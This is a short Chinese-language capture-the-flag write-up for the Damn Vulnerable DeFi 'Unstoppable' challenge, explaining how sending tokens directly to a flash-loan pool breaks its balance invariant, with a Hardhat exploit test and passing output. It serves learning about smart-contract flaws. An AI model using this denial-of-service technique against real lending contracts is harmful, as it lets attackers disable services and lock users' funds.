Damn Vulnerable DeFi 挑战记录 #1 - Unstoppable

Challenge #1 - Unstoppable

There's a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans ...

You start with 100 DVT tokens in balance.

目标 : 摧毁池子的闪电贷功能

after(async function () {
    /** SUCCESS CONDITIONS */

    // It is no longer possible to execute flash loans
    await  expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted;
});

代码解析:

flashLoan 函数主要功能:

  • check 借款金额大于0

  • check 闪电贷前的余额大于借款余额

  • check 池子余额等于闪电贷前的余额

  • 执行闪电贷操作

  • check 闪电贷后余额大于闪电贷前的余额


攻击思路:

进入require/assert函数使判定始终为false抛出异常,即可摧毁flashLoan功能

    require(borrowAmount > 0, "Must borrow at least one token");
    require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
    assert(poolBalance == balanceBefore);
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");

漏洞 : assert(poolBalance == balanceBefore);

其中balanceBefore = damnValuableToken.balanceOf(address(this)) 通过调用balanceOf 函数获取该合约地址代币实际余额; 而poolBalance 为通过depositTokens 函数存入的余额.

我们可以通过除了depositTokens函数以外的任意方式向闪电贷池转入余额, 使poolBalance不等于balanceBefore,从而摧毁闪电贷功能.


代码示例:

    it("Exploit", async function () {
        /** CODE YOUR EXPLOIT HERE */
        this.token.connect(attacker);
        /** 传入8个eth */
        this.token.transfer(this.pool.address, 8);
    });

运行通过

❯ yarn run unstoppable
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/unstoppable/unstoppable.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/unstoppable/unstoppable.challenge.js


  [Challenge] Unstoppable
    ✓ Exploit


  1 passing (3s)

Done in 6.56s.

Twitter: @0xRunstar